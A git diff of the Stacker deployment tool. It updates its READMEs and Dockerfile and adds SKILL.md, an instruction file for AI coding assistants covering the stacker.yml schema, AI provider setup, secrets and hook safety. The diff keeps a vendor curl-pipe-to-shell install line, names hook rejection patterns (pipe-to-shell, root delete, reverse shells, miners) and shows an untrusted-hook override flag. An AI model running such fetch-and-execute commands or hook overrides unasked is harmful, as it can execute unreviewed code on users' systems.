-[![Version](https://img.shields.io/badge/version-0.2.7-blue)](https://github.com/trydirect/stacker/releases)
+[![Version](https://img.shields.io/badge/version-0.2.8-blue)](https://github.com/trydirect/stacker/releases)
 [![License](https://img.shields.io/badge/license-MIT-green)](https://github.com/trydirect/stacker/blob/main/LICENSE)
 [![GitHub](https://img.shields.io/badge/source-GitHub-181717?logo=github)](https://github.com/trydirect/stacker)
 
@@ -16,7 +16,7 @@
 │  Stacker CLI │────────▶│  Stacker Server  │────────▶│  Status Panel Agent │
 │              │  REST   │                  │  queue  │  (on target server) │
 │  stacker.yml │  API    │  Stack Builder UI│  pull   │                     │
-│  init/deploy │         │  48+ MCP tools   │◀────────│  health / logs /    │
+│  init/deploy │         │  85+ MCP tools   │◀────────│  health / logs /    │
 │  status/logs │         │  Vault · AMQP    │  HMAC   │  restart / exec /   │
 └──────────────┘         └──────────────────┘         │  deploy_app / proxy │
                                 │                     └─────────────────────┘
@@ -123,12 +123,12 @@ The `trydirect/stacker` image contains the **Stacker Server** — a Rust-built b
 - Role-based access control (Casbin)
 
 ### MCP Server (Model Context Protocol)
-48+ tools exposed over WebSocket, enabling AI agents (Claude, GPT, etc.) to manage infrastructure programmatically:
+85+ tools exposed over WebSocket, enabling AI agents (Claude, GPT, etc.) to manage infrastructure programmatically:
 - Project & deployment management
 - Container operations (start, stop, restart, exec)
 - Log analysis & error summaries
-- Vault config read/write
-- Proxy configuration
+- Vault config and remote service secret management
+- Proxy and firewall configuration
 - Server resource monitoring
 - Docker Compose generation & preview
 
@@ -156,6 +156,8 @@ The CLI (`stacker-cli`) is a standalone binary — no server required for local
 | `stacker deploy` | Build & deploy the stack (local, cloud, or server) |
 | `stacker status` | Show running containers and health |
 | `stacker logs` | View container logs (`--follow`, `--service`, `--tail`) |
+| `stacker secrets` | Manage local `.env` secrets and remote Vault-backed service/server secrets |
+| `stacker cloud firewall` | Manage provider firewall rules without SSH |
 | `stacker destroy` | Tear down the deployed stack |
 | `stacker ai ask` | Ask AI about your stack, or let it modify config |
 | `stacker service add` | Add from 20+ built-in service templates |
@@ -286,7 +288,7 @@ Stacker auto-detects and generates optimised multi-stage Dockerfiles for:
 | Tag | Description |
 |-----|-------------|
 | `latest` | Latest stable release |
-| `x.y.z` | Specific version (e.g. `0.2.7`) |
+| `x.y.z` | Specific version (e.g. `0.2.8`) |
 | `test` | Development/testing builds |
 
 ---
diff --git a/Dockerfile b/Dockerfile
index 935e1c56..521b9ee5 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,21 +1,23 @@
+# syntax=docker/dockerfile:1.4
 FROM rust:bookworm AS builder
 
-#RUN apt-get update; \
-#    apt-get install --no-install-recommends -y libssl-dev; \
-#    rm -rf /var/lib/apt/lists/*; \
-#    USER=root cargo new --bin app;
+RUN apt-get update && apt-get install --no-install-recommends -y protobuf-compiler libprotobuf-dev && rm -rf /var/lib/apt/lists/*
 
 RUN cargo install sqlx-cli
 
 WORKDIR /app
+COPY --from=shared_fixtures / /shared-fixtures
 # copy manifests
 COPY ./Cargo.toml .
 COPY ./Cargo.lock .
+COPY ./build.rs .
 COPY ./rustfmt.toml .
 COPY ./Makefile .
 COPY ./docker/local/.env .
 COPY ./docker/local/configuration.yaml .
 COPY .sqlx .sqlx/
+COPY ./proto ./proto
+COPY ./tests/bdd.rs ./tests/bdd.rs
 
 # build this project to cache dependencies
 #RUN sqlx database create && sqlx migrate run
@@ -26,6 +28,8 @@ COPY .sqlx .sqlx/
 
 
 COPY ./src ./src
+COPY ./crates ./crates
+COPY ./scenarios ./scenarios
 
 # for ls output use BUILDKIT_PROGRESS=plain docker build .
 #RUN ls -la /app/ >&2
diff --git a/README.md b/README.md
index f092c21d..c285c0d3 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
 <div align="center">
 
 <a href="https://discord.gg/mNhsa8VdYX"><img alt="Discord" src="https://img.shields.io/discord/578119430391988232?label=discord"></a>
-<img alt="Version" src="https://img.shields.io/badge/version-0.2.7-blue">
+<img alt="Version" src="https://img.shields.io/badge/version-0.3.0-blue">
 <img alt="License" src="https://img.shields.io/badge/license-MIT-green">
 
 <br><br>
@@ -13,6 +13,8 @@
 
 Stacker is a platform for turning any project into a deployable Docker stack. Add a `stacker.yml` to your repo, and Stacker generates Dockerfiles, docker-compose definitions, reverse-proxy configs, and deploys locally or to cloud providers — optionally with AI assistance.
 
+**v0.3.0 highlights:** generate `stacker.yml` from any GitHub repo with `stacker init --from-github`, infra-service healthcheck inference, remote Vault-backed secrets for deployable service/app targets, paused or failed cloud/server installs retain discovered IP addresses, and cloud-provider firewalls can be managed without SSH.
+
 
 ## Quick Start
 
@@ -31,6 +33,28 @@ stacker deploy            # builds and runs locally via docker compose
 stacker status            # check running containers
 ```
 
+### Deploy from any GitHub repo
+
+Generate a `stacker.yml` from a GitHub repository — no clone required.
+For the best results (port mappings, env vars, service context inferred
+from README and source), use `--with-ai`:
+
+```bash
+# AI-powered (recommended — reads README, compose, source files)
+stacker init --from-github owner/repo --with-ai
+
+# Template-based (project type + Dockerfile detection only)
+stacker init -g https://github.com/ArchiveBox/ArchiveBox
+```
+
+With `--with-ai`, Stacker shallow-clones the repo, then uses an LLM (Ollama
+by default) to scan project files and generate a context-aware `stacker.yml`
+with services, ports, env vars, and healthchecks. Falls back to template
+detection if the AI provider is unreachable.
+
+When environment variables are in the compose file, `.env.example` and
+`scripts/generate-secrets.sh` are also generated.
+
 ### AI-powered init (optional)
 
 Stacker can scan your project files and use an LLM to generate a tailored `stacker.yml`:
@@ -49,6 +73,22 @@ stacker init --with-ai --ai-provider anthropic
 
 If the AI provider is unreachable, Stacker falls back to template-based generation automatically.
 
+When the project looks like a simple HTML or Next.js website and the configured
+Ollama model is `qwen2.5-code` or `qwen2.5-coder`, `stacker init --with-ai`
+can also bootstrap a website deployment scenario. The bootstrap seeds values
+from the generated `stacker.yml`, asks only for the missing deploy inputs, and
+saves scenario state under `.stacker/scenarios/qwen2.5-code/website-deploy/`
+for later continuation with `stacker ai`.
+
+### AI deployment workflows
+
+For the canonical AI/MCP deployment flow — inspect state, explain topology or
+env provenance, preview a plan, apply it safely, and recover with events or
+rollback — see [AI deployment workflows](docs/AI_DEPLOYMENT_WORKFLOWS.md).
+
+For the qwen-specific website scenario flow, including `--scenario` and `--step`
+continuation, see the same guide.
+
 ---
 
 ## `stacker.yml` example
@@ -111,7 +151,7 @@ Full schema reference: [docs/STACKER_YML_REFERENCE.md](docs/STACKER_YML_REFERENC
 │  Stacker CLI │────────►│  Stacker Server  │────────►│  Status Panel Agent │
 │              │  REST   │                  │  queue  │  (on target server) │
 │  stacker.yml │  API    │  Stack Builder UI│  pull   │                     │
-│  init/deploy │         │  48+ MCP tools   │◄────────│  health / logs /    │
+│  init/deploy │         │  85+ MCP tools   │◄────────│  health / logs /    │
 │  status/logs │         │  Vault · AMQP    │  HMAC   │  restart / exec /   │
 └──────────────┘         └──────────────────┘         │  deploy_app / proxy │
                                 │                     └─────────────────────┘
@@ -134,38 +174,58 @@ The end-user tool. No server required for local deploys.
 | Command | Description |
 |---------|-------------|
 | `stacker init` | Detect project type, generate `stacker.yml` + `.stacker/` artifacts |
-| `stacker deploy` | Build & deploy the stack (local, cloud, or server). `--runtime kata\|runc` selects container runtime |
+| `stacker deploy` | Build & deploy the stack (local, cloud, or server). Cloud deploys also install a local SSH backup key when possible. `--runtime kata\|runc` selects container runtime |
 | `stacker status` | Show running containers and health |
 | `stacker logs` | View container logs (`--follow`, `--service`, `--tail`) |
-| `stacker list deployments` | List deployments on the Stacker server |
+| `stacker secrets` | Manage local `.env` secrets or remote Vault-backed `service` / `server` secrets |
+| `stacker list deployments` / `stacker deployments` | List deployments on the Stacker server |
+| `stacker list servers` / `stacker servers` | List saved servers |
+| `stacker list clouds` / `stacker clouds` | List saved cloud credentials |
+| `stacker list ssh-keys` / `stacker ssh-keys` | List per-server SSH key status |
 | `stacker destroy` | Tear down the deployed stack |
 | `stacker config validate` | Validate `stacker.yml` syntax |
 | `stacker config show` | Show resolved configuration |
 | `stacker config example` | Print a full commented reference |
 | `stacker config setup cloud` | Guided cloud deployment setup |
+| `stacker config setup ai` | Configure AI provider, endpoint, model, and tasks |
 | `stacker ai ask "question"` | Ask the AI about your stack |
 | `stacker proxy add` | Add a reverse-proxy domain entry |
 | `stacker proxy detect` | Auto-detect existing reverse-proxy containers |
+| `stacker cloud firewall add` | Open cloud-provider firewall ports without SSH, for example `--public-ports 8000/tcp` on Hetzner |
+| `stacker cloud firewall remove` | Remove Stacker-managed cloud-provider firewall rules |
+| `stacker cloud firewall list` | List cloud-provider firewall rules for a server |
 | `stacker ssh-key generate` | Generate a new SSH key pair for a server (Vault-backed) |
 | `stacker ssh-key show` | Display the public SSH key for a server |
 | `stacker ssh-key upload` | Upload an existing SSH key pair for a server |
+| `stacker ssh-key inject` | Repair Vault-key trust by using an already-working private key to update `authorized_keys` |
 | `stacker service add` | Add a service from the template catalog to `stacker.yml` |
 | `stacker service list` | List available service templates (20+ built-in) |
 | `stacker agent health` | Check Status Panel agent connectivity and health |
 | `stacker agent status` | Display agent snapshot — containers, versions, uptime |
+| `stacker agent list apps` / `stacker agent apps` | List apps for the target deployment |
+| `stacker agent list containers` / `stacker agent containers` | List containers on the target server |
 | `stacker agent logs <app>` | Retrieve container logs from the remote agent |
 | `stacker agent restart <app>` | Restart a container via the agent |
-| `stacker agent deploy-app` | Deploy or update an app container on the target server. `--runtime kata\|runc` selects container runtime |
+| `stacker agent deploy-app` | Deploy or update an app container on the target server. `--runtime kata\|runc` selects container runtime; `--env <name>` selects the deploy environment/profile |
 | `stacker agent remove-app` | Remove an app container (with optional volume/image cleanup) |
-| `stacker agent configure-proxy` | Configure Nginx Proxy Manager via the agent |
+| `stacker agent configure-proxy` | Configure Nginx Proxy Manager via the agent; use `--no-ssl` for plain HTTP hosts (credentials are resolved from Vault and are auto-seeded for managed Status Panel + NPM deploys) |
+| `stacker agent configure-firewall` | Configure guest OS firewall rules via the Status Panel agent; use `stacker cloud firewall` for provider firewalls |
 | `stacker agent history` | Show recent command execution history |
 | `stacker agent exec` | Execute a raw agent command with JSON parameters |
-| `stacker pipe scan <app>` | Discover API endpoints on a running container |
+| `stacker pipe scan` | Discover local endpoints/resources from running containers (when target is `local`) |
+| `stacker pipe scan --containers [filter]` | Discover local endpoints/resources for matching containers |
+| `stacker pipe scan --app <app>` | Probe a remote app for API endpoints |
 | `stacker pipe create <src> <tgt>` | Create a data pipe between two containers (interactive) |
 | `stacker pipe list` | List pipe instances for the current deployment |
 | `stacker pipe activate <id>` | Activate a pipe (start listening for triggers) |
 | `stacker pipe deactivate <id>` | Pause an active pipe |
 | `stacker pipe trigger <id>` | One-shot pipe execution with optional input data |
+| `stacker pipe deploy <id>` | Promote a local pipe to a remote deployment |
+| `stacker pipe history <id>` | View execution history for a pipe |
+| `stacker pipe replay <exec-id>` | Re-run a previous pipe execution |
+| `stacker target [local\|cloud\|server]` | Switch deployment target mode |
+| `stacker env [local\|dev\|prod]` | Show or persist the active deploy environment/profile used by app-only updates |
+| `stacker whoami` | Show the active login, subscription plan, and current project deployment context |
 | `stacker submit` | Package current stack and submit to marketplace for review |
 | `stacker marketplace status` | Check submission status for your marketplace templates |
 | `stacker marketplace logs <name>` | Show review comments and history for a submission |
@@ -181,6 +241,84 @@ stacker deploy --target server    # deploy to existing server via SSH
 stacker deploy --dry-run          # preview generated files without executing
 ```
 
+After a successful cloud deploy, Stacker creates or reuses a local backup key at
+`~/.config/stacker/ssh/server-<id>_ed25519` (or under `$XDG_CONFIG_HOME`) and
+authorizes its public key on the server when possible. The CLI prints a normal
+`ssh -i ...` command, while the Vault private key remains server-side.
+
+When a cloud/server deploy includes `deploy.registry` credentials (or the
+equivalent `STACKER_DOCKER_*` environment variables), Stacker stores that
+registry auth securely and reuses it for later Status-managed image refreshes
+such as `stacker agent deploy-app`. This keeps private-image redeploys working
+without depending on host-level `docker login` state or mounting `/root/.docker`
+into the agent container.
+
+### Secrets workflow
+
+```bash
+# Local project .env secret
+stacker secrets set DB_PASSWORD=supersecret
+
+# Discover valid remote deployable service/app targets first
+stacker secrets apps
+
+# Remote service secret used at render/deploy time for one target
+stacker secrets set S3_SECRET_KEY \
+  --scope service \
+  --service uploader \
+  --body supersecret
+
+# Remote server secret for future host-level consumers
+stacker secrets set NPM_TOKEN \
+  --scope server \
+  --server-id 42 \
+  --body-file .npm-token
+
+# Remote reads are metadata-only in v1
+stacker secrets list --scope service --service uploader --json
+stacker secrets get S3_SECRET_KEY --scope service --service uploader --json
+
+# Push stored remote secrets into the target's runtime env
+stacker secrets push --service uploader
+stacker secrets push --service uploader --env prod
+# Aliases: stacker secrets deploy --service uploader
+#          stacker secrets apply --service uploader
+
+```
+
+- Local mode remains the default and reads/writes the project `.env` file.
+- Remote mode is enabled only with `--scope service` or `--scope server`.
+- Service-scoped remote commands default `--project` from `stacker.yml -> project.identity`; `--project` still overrides it explicitly.
+- Service-scoped secrets target deployable service/app codes listed by `stacker secrets apps`, including registered `stacker.yml` services and supported image-backed Compose services after a deploy/update sync.
+- Service-scoped secrets are merged only into the matching rendered service/app env at deploy time.
+- `stacker secrets push --service <target>` applies stored service secrets to the remote runtime env without changing secret values. Use `--env <name>` for a one-off environment selection, or `stacker env <name>` to persist the active environment/profile for future app-only updates. Use `--force` only when the remote env drift check reports an out-of-band change.
+- Remote `get` and `list` do **not** return plaintext values in v1.
+- MCP env inspection now exposes explicit secure metadata for Vault-backed
+  variables: `get_app_env_vars` keeps the redacted
+  `environment_variables` object for compatibility and also returns
+  `environment_entries[]` with `secure`, `redacted`, and `source` fields.
+
+Remote deploys render runtime env into one canonical host file:
+`/home/trydirect/project/.env`. Generated compose uses `env_file: .env`, so the
+path is relative to the deployed compose file. To inspect paths and contributing
+layers without exposing values, run:
+
+```bash
+stacker config show --resolved
+```
+
+For app-only updates, `stacker agent deploy-app <target>` resolves the deploy
+environment from `--env`, then `.stacker/active-env`, then `stacker.yml`. If
+`<target>/docker/<env>/compose.yml` exists, Stacker uses the app-local service
+definition for that target but merges it into the full project-level compose
+file before sending it to the agent. This prevents app-only updates from
+replacing the remote stack compose with a single-service compose file. Any
+app-local `.env` referenced by that compose file is uploaded in the config
+bundle, and Stacker appends the Vault-rendered service secrets for the same
+target to that file before the agent writes it on the server. Repeated app-only
+updates replace the prior `# stacker-render ...` block in that file instead of
+stacking duplicate rendered secret sections.
+
 ### Marketplace workflow (for stack developers)
 
 ```bash
@@ -206,14 +344,17 @@ curl -sL https://marketplace.try.direct/<purchase-token>/install.sh | sh
 - **Auto-detection** — identifies Node, Python, Rust, Go, PHP, static sites from project files
 - **Dockerfile generation** — produces optimised multi-stage Dockerfiles per app type
 - **Docker Compose generation** — wires app + services + proxy + monitoring
+- **Remote service secrets** — Vault-backed service/app target secrets are metadata-only when read and isolated to the selected service
 - **AI-assisted config** — scans project, calls LLM to generate tailored `stacker.yml`
 - **AI troubleshooting** — on deploy failure, suggests fixes via AI or deterministic fallback hints
 - **Service catalog** — 20+ built-in service templates (Postgres, Redis, WordPress, etc.) — add with `stacker service add`
 - **AI service addition** — ask `stacker ai ask --write "add wordpress"` and the AI uses the template catalog
 - **Agent control** — `stacker agent` subcommand to manage remote Status Panel agents (health, logs, restart, deploy, proxy) with `--json` output
-- **SSH key management** — generate, view, and upload server SSH keys (Vault-backed)
+- **SSH key management** — generate, view, upload, and repair server SSH keys
+  (Vault-backed), with automatic local backup SSH access after cloud deploy
 - **Reverse proxy** — auto-detects Nginx / Nginx Proxy Manager, configures domains + SSL
-- **Cloud deployment** — Hetzner, DigitalOcean, AWS, Linode
+- **Cloud deployment** — Hetzner, DigitalOcean, AWS, Linode, with provider firewall operations and paused/failed install IP retention
+- **MCP Server** — 85+ tools, including deployment, agent control, config, proxy, firewall, and remote service secret management
 - **Marketplace** — submit stacks for review, auto-publish on approval, check status from CLI
 - **Buyer install** — purchase tokens, one-liner install scripts, agent self-registration
 
@@ -240,9 +381,14 @@ cargo run --bin server                           # http://127.0.0.1:8000
 | `POST /project` | Create a project from a stack definition |
 | `POST /{id}/deploy/{cloud_id}` | Deploy to a cloud provider |
 | `GET /project/{id}/apps` | List apps in a project |
+| `DELETE /project/{id}/apps/{code}` | Remove an app from a project |
 | `PUT /project/{id}/apps/{code}/env` | Update app environment variables |
+| `GET /project/{id}/apps/{code}/secrets` | List service-scoped secret metadata for an app |
+| `PUT /project/{id}/apps/{code}/secrets/{name}` | Create or update a Vault-backed service secret |
 | `PUT /project/{id}/apps/{code}/ports` | Update port mappings |
 | `PUT /project/{id}/apps/{code}/domain` | Update domain / SSL settings |
+| `GET /server/{id}/secrets` | List server-scoped secret metadata |
+| `PUT /server/{id}/secrets/{name}` | Create or update a Vault-backed server secret |
 | `POST /api/v1/commands` | Enqueue a command for the Status Panel agent |
 | `POST /api/templates` | Create or update a marketplace template (creator) |
 | `POST /api/templates/{id}/submit` | Submit template for marketplace review |
diff --git a/SKILL.md b/SKILL.md
new file mode 100644
index 00000000..963a61a9
--- /dev/null
+++ b/SKILL.md
@@ -0,0 +1,1029 @@
+# Stacker Engineer Skill
+
+> **Universal system-prompt / instruction file for AI coding assistants.**
+> Covers: Anthropic Claude (CLAUDE.md / `.claude/agents/`), OpenAI (ChatGPT / Cursor `.cursorrules`), GitHub Copilot (`.github/copilot-instructions.md`), and OpenCode (`AGENTS.md`).
+>
+> **Placement guide** — use the section that matches your tool:
+> - **Claude Code**: copy verbatim to `CLAUDE.md` at project root, *or* save as `.claude/agents/stacker-engineer.md` for a scoped sub-agent
+> - **GitHub Copilot**: copy to `.github/copilot-instructions.md`
+> - **Cursor / OpenAI Codex**: copy to `.cursorrules` or `openai.md` in project root
+> - **OpenCode**: copy to `AGENTS.md` at project root
+
+---
+
+## Role
+
+You are a **Stacker Engineer** — an expert in the Stacker deployment platform. Your job is to author, review, and troubleshoot `stacker.yml` configuration files and the surrounding deployment workflows for containerised applications using the Stacker CLI.
+
+You know:
+- Every field in `stacker.yml` and its defaults, validation rules, and interaction effects
+- How to use `stacker` CLI commands for the full lifecycle: init → deploy → monitor → update → destroy
+- How to configure AI providers (`openai`, `anthropic`, `ollama`, `custom`) inside `stacker.yml`
+- How the Status Panel agent, MCP tools, secrets, and Vault work
+- Common pitfalls: port conflicts, hook security rejections, missing `public_ports`, marketplace origin markers
+
+You do **not** write application code. You write and fix `stacker.yml` files and deployment scripts.
+
+---
+
+## Core Knowledge
+
+### What Stacker is
+
+Stacker is a single-file deployment tool. The only file you add to a project is `stacker.yml`. The CLI reads it to:
+1. Auto-generate a `Dockerfile` (if not using a pre-built image)
+2. Generate a `docker-compose.yml`
+3. Deploy locally or to cloud/server infrastructure
+
+Generated artefacts go into `.stacker/` — add that directory to `.gitignore`.
+
+### stacker.yml top-level schema
+
+```yaml
+name: <string>              # required — project name, max 128 chars
+version: <string>           # optional — informational label
+organization: <string>      # optional — TryDirect org slug
+
+project:                    # optional — backend project identity
+  identity: <string>        # stable slug, overrides name-based resolution
+
+app:                        # application source
+  type: static|node|python|rust|go|php|custom
+  path: <path>              # default: .
+  dockerfile: <path>        # use a custom Dockerfile (requires type: custom)
+  image: <string>           # pre-built image (mutually exclusive with dockerfile)
+  ports: [<host:container>]
+  volumes: [<bind or named>]
+  environment:
+    KEY: value
+
+services:                   # sidecar containers
+  - name: <string>          # required, used as hostname
+    image: <string>         # required
+    command: <string>       # override container CMD
+    ports: [<host:container>]
+    environment: {KEY: value}
+    volumes: [<name:/path or ./host:/container>]
+    depends_on: [<service-name>]
+    healthcheck:
+      test: <string>        # e.g. "CMD pg_isready -U postgres"
+      interval: <duration>  # default 30s
+      timeout: <duration>   # default 30s
+      retries: <int|string> # default 3
+
+volumes:                    # top-level named volumes (optional)
+  volume-name: {}
+
+proxy:
+  type: nginx|nginx-proxy-manager|traefik|none
+  auto_detect: <bool>       # default true — scan for existing proxy
+  domains:
+    - domain: app.example.com
+      ssl: auto|manual|off
+      upstream: app:3000
+  config: <path>            # custom proxy config file
+
+deploy:
+  target: local|cloud|server
+  environment: <name>       # active environment from environments:
+  compose_file: <path>      # use existing compose instead of generating
+  cloud:
+    provider: hetzner|digitalocean|aws|linode|vultr
+    region: <string>
+    size: <string>
+    ssh_key: <path>
+    public_ports: [<port> or <port/protocol>]  # open in cloud firewall
+    orchestrator: local|remote  # default local
+    key: <vault-key>
+  server:
+    host: <ip or hostname>
+    user: <string>          # default root
+    ssh_key: <path>
+    port: <int>             # default 22
+  registry:
+    username: <string>
+    password: <string>
+    server: <string>        # default Docker Hub
+
+environments:               # named environment profiles
+  production:
+    compose_file: docker/production/compose.yml
+    env_file: .env
+  staging:
+    compose_file: docker/staging/compose.yml
+    env_file: .env.staging
+
+install:                    # marketplace install inputs
+  inputs:
+    commonDomain: example.com
+
+ai:
+  enabled: <bool>
+  provider: openai|anthropic|ollama|custom
+  model: <string>
+  api_key: <string>         # supports ${VAR}
+  endpoint: <url>
+  timeout: <int>            # seconds; 0 = no timeout
+  tasks: [dockerfile|troubleshoot|compose|security]
+
+monitoring:
+  status_panel: <bool>
+  healthcheck:
+    endpoint: <path>        # default /health
+    interval: <duration>    # default 30s
+  metrics:
+    enabled: <bool>
+    telegraf: <bool>
+
+hooks:
+  pre_build: <path>         # runs before docker build
+  post_deploy: <path>       # runs after successful deploy
+  on_failure: <path>        # runs on deploy failure
+
+env_file: <path>            # .env loaded before stacker.yml is parsed
+env:
+  KEY: value
+
+config_contract:            # marketplace service contracts (rarely hand-authored)
+  services: {}
+```
+
+---
+
+## AI Provider Configuration
+
+### Anthropic Claude
+
+```yaml
+ai:
+  enabled: true
+  provider: anthropic
+  model: claude-sonnet-4-20250514   # or claude-opus-4, claude-haiku-4-5-20251001
+  api_key: ${ANTHROPIC_API_KEY}
+  timeout: 300
+  tasks:
+    - dockerfile
+    - troubleshoot
+    - compose
+    - security
+```
+
+Init with Anthropic:
+```bash
+stacker init --with-ai \
+  --ai-provider anthropic \
+  --ai-model claude-sonnet-4-20250514 \
+  --ai-api-key "${ANTHROPIC_API_KEY}"
+# or set ANTHROPIC_API_KEY env var and omit --ai-api-key
+```
+
+### OpenAI / OpenAI-compatible (Copilot, Azure, etc.)
+
+```yaml
+ai:
+  enabled: true
+  provider: openai
+  model: gpt-4o
+  api_key: ${OPENAI_API_KEY}
+  timeout: 120
+  tasks:
+    - dockerfile
+    - troubleshoot
+```
+
+For Azure OpenAI or custom OpenAI-compatible APIs:
+```yaml
+ai:
+  enabled: true
+  provider: custom
+  model: gpt-4o
+  api_key: ${AZURE_OPENAI_KEY}
+  endpoint: https://myorg.openai.azure.com/openai/deployments/gpt-4o
+  timeout: 120
+  tasks:
+    - dockerfile
+```
+
+Init with OpenAI:
+```bash
+stacker init --with-ai \
+  --ai-provider openai \
+  --ai-model gpt-4o \
+  --ai-api-key "${OPENAI_API_KEY}"
+```
+
+### Ollama (local — default for `stacker init --with-ai`)
+
+```yaml
+ai:
+  enabled: true
+  provider: ollama
+  model: qwen2.5-coder       # or llama3, deepseek-r1, codellama
+  endpoint: http://localhost:11434
+  timeout: 0                 # no timeout for large local models
+  tasks:
+    - dockerfile
+    - troubleshoot
+    - compose
+```
+
+Ollama + qwen2.5-coder unlocks the **website-deploy scenario bootstrap** for HTML/Next.js projects:
+```bash
+stacker init --with-ai --ai-model qwen2.5-coder
+# Stacker offers to seed a full website-deploy scenario automatically
+
+# Continue a saved scenario later:
+stacker ai ask "continue" --scenario website-deploy --step image-publish
+stacker ai --scenario website-deploy --step runtime-ops
+```
+
+### Configure AI without editing YAML
+
+```bash
+stacker config setup ai \
+  --provider anthropic \
+  --model claude-sonnet-4-20250514 \
+  --task dockerfile \
+  --task troubleshoot
+```
+
+### Environment variable overrides for AI
+
+| Variable | Description |
+|----------|-------------|
+| `STACKER_AI_PROVIDER` | Override `ai.provider` |
+| `STACKER_AI_MODEL` | Override `ai.model` |
+| `STACKER_AI_API_KEY` | Override `ai.api_key` |
+| `STACKER_AI_ENDPOINT` | Override `ai.endpoint` |
+| `STACKER_AI_TIMEOUT` | Override `ai.timeout` |
+| `OPENAI_API_KEY` | Used when provider is `openai` |
+| `ANTHROPIC_API_KEY` | Used when provider is `anthropic` |
+
+---
+
+## App Type Reference
+
+| `app.type` | Base Image | Default Port | Auto-detected from |
+|------------|-----------|--------------|-------------------|
+| `static` | `nginx:alpine` | 80 | `index.html`, `*.html` |
+| `node` | `node:20-alpine` | 3000 | `package.json` |
+| `python` | `python:3.12-slim` | 8000 | `requirements.txt`, `Pipfile`, `pyproject.toml`, `setup.py` |
+| `rust` | `rust:1.77-alpine` | 8080 | `Cargo.toml` |
+| `go` | `golang:1.22-alpine` | 8080 | `go.mod` |
+| `php` | `php:8.3-fpm-alpine` | 9000 | `composer.json` |
+| `custom` | — | — | Requires `app.image` or `app.dockerfile` |
+
+**Golden rule:** `type: custom` with a pre-built `image:` is the most common pattern for marketplace-grade deployments. Use it for any application that already publishes a Docker image.
+
+---
+
+## Cloud Provider Reference
+
+| `provider` | Example Regions | Example Sizes |
+|------------|----------------|---------------|
+| `hetzner` | `fsn1`, `nbg1`, `hel1` | `cx23`, `cpx22`, `cpx32` |
+| `digitalocean` | `nyc1`, `sfo3`, `ams3` | `s-1vcpu-1gb`, `s-2vcpu-4gb` |
+| `aws` | `us-east-1`, `eu-west-1` | `t3.micro`, `t3.small` |
+| `linode` | `us-east`, `eu-west` | `g6-nanode-1`, `g6-standard-2` |
+| `vultr` | `ewr`, `lhr`, `fra` | `vc2-1c-1gb`, `vc2-2c-4gb` |
+
+Always set `public_ports` for any port that must be reachable from the internet. Forgetting this is the most common reason an app is unreachable after a cloud deploy.
+
+```yaml
+deploy:
+  target: cloud
+  cloud:
+    provider: hetzner
+    region: fsn1
+    size: cpx22
+    ssh_key: ~/.ssh/id_ed25519
+    public_ports:
+      - "80"
+      - "443"
+      - "8000"
+```
+
+---
+
+## Proxy Configuration
+
+### Auto-detect (default)
+
+```yaml
+proxy:
+  auto_detect: true  # default — scans running containers for nginx, traefik, NPM
+```
+
+### Nginx Proxy Manager (recommended for cloud deploys with a UI)
+
+```yaml
+proxy:
+  type: nginx-proxy-manager
+  auto_detect: true
+```
+
+### Nginx with domain routing
+
+```yaml
+proxy:
+  type: nginx
+  auto_detect: false
+  domains:
+    - domain: app.example.com
+      ssl: auto
+      upstream: app:3000
+```
+
+### No proxy
+
+```yaml
+proxy:
+  type: none
+  auto_detect: false
+```
+
+---
+
+## Hooks — Safety Rules
+
+Hooks run with a **cleared environment** (only `PATH` and `HOME`). Hard timeout: 5 minutes.
+
+**Rejection triggers** (deploy fails before the hook even runs):
+- Path escaping the project directory (absolute paths, `..` traversal, symlinks outside project)
+- Content matching critical patterns: remote pipe-to-shell, recursive root delete, reverse shells, crypto miners
+- Marketplace-origin marker present: `# @stacker-origin: marketplace`
+
+**Marketplace origin workflow:**
+```yaml
+# @stacker-origin: marketplace
+# Delete the line above once you have reviewed hooks in this file.
+hooks:
+  post_deploy: ./scripts/seed.sh
+```
+
+After reviewing, remove the marker line. Then `stacker deploy` runs hooks normally. Alternatively:
+```bash
+stacker deploy --allow-untrusted-hooks  # single run
+stacker deploy --no-hooks               # skip all hooks (CI-safe)
+```
+
+**Common hook patterns:**
+```yaml
+hooks:
+  pre_build: ./scripts/generate-assets.sh
+  post_deploy: ./scripts/run-migrations.sh
+  on_failure: ./scripts/notify-slack.sh
+```
+
+---
+
+## Environment Variables and Secrets
+
+### Interpolation
+
+```yaml
+services:
+  - name: postgres
+    image: postgres:${PG_VERSION}
+    environment:
+      POSTGRES_PASSWORD: ${DB_PASSWORD}
+```
+
+`${VAR}` syntax works in all string values. Undefined variables cause a parse error (fail-fast).
+
+### env_file
+
+```yaml
+env_file: .env   # loaded before stacker.yml is parsed — variables available for ${VAR}
+```
+
+### Remote (Vault-backed) secrets
+
+```bash
+# Store a secret
+stacker secrets set DATABASE_URL --scope service --service my-api --body "postgres://..."
+
+# Push to runtime env
+stacker secrets push --service my-api
+
+# List (metadata only — values never shown)
+stacker secrets list --scope service --service my-api
+
+# Apply a specific environment
+stacker secrets push --service my-api --env production
+```
+
+### Reserved env key prefixes (rejected by Stacker)
+`STACKER_`, `DOCKER_`, `VAULT_`, `AGENT_`
+
+---
+
+## Deployment Lifecycle Commands
+
+```bash
+# Init
+stacker init                                  # auto-detect project type
+stacker init --app-type node --with-proxy     # explicit type + proxy
+stacker init --with-ai                        # AI-powered (Ollama default)
+stacker init --with-ai --ai-provider anthropic --ai-model claude-sonnet-4-20250514
+
+# Deploy
+stacker deploy                                # use stacker.yml target
+stacker deploy --target local                 # override target
+stacker deploy --target cloud
+stacker deploy --dry-run                      # generate files without deploying
+stacker deploy --force-rebuild                # regenerate .stacker/ artefacts
+stacker deploy --env production               # one-shot environment override
+stacker deploy --no-hooks                     # skip all hooks (CI)
+
+# Status & logs
+stacker status
+stacker status --json --watch
+stacker logs --service postgres --follow --tail 200
+
+# Environment management
+stacker env production                        # persist active env
+stacker env                                   # show active env
+
+# Destroy
+stacker destroy --confirm
+stacker destroy --confirm --volumes
+
+# Config
+stacker config validate
+stacker config show --resolved
+stacker config fix
+stacker config setup ai --provider anthropic
+
+# Secrets
+stacker secrets apps
+stacker secrets set KEY --scope service --service my-app --body "value"
+stacker secrets push --service my-app --env production
+
+# AI assistant
+stacker ai ask "Why is my container crashing?" --context ./logs.txt
+stacker ai ask --write "restart the postgres container"
+stacker ai --write                            # interactive chat with write mode
+```
+
+---
+
+## Agent (Status Panel) Commands
+
+The Status Panel agent runs on the target server and processes commands via a pull-based queue.
+
+```bash
+# Health
+stacker agent health
+stacker agent status --json
+
